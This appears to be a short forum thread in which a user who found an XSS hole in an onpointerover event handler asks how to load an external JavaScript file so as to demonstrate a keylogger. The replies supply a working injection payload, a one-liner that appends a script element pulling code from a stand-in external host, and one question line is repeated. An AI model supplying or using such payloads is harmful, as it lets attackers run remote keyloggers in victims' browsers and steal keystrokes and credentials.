How can i load an external javascript with onpointerover event handler?

How can i load an external javascript with onpointerover event handler? I found an xss issue using the onpointerover handler but i don’t know which code could use to load an external javascript file. For example something like

onpointerover=load.src='http://external.host/file.js'

Which code can i use to do that? I need it to demonstrate javascript keylogger exploit.

Did you try creating a <script> element?

Is this possible? kindly explain the details about the same. Thanks!

Something like this:
document.head.appendChild(document.createElement("script")).src = "http://external.host/file.js"

Is this possible? kindly explain the details about the same. Thanks!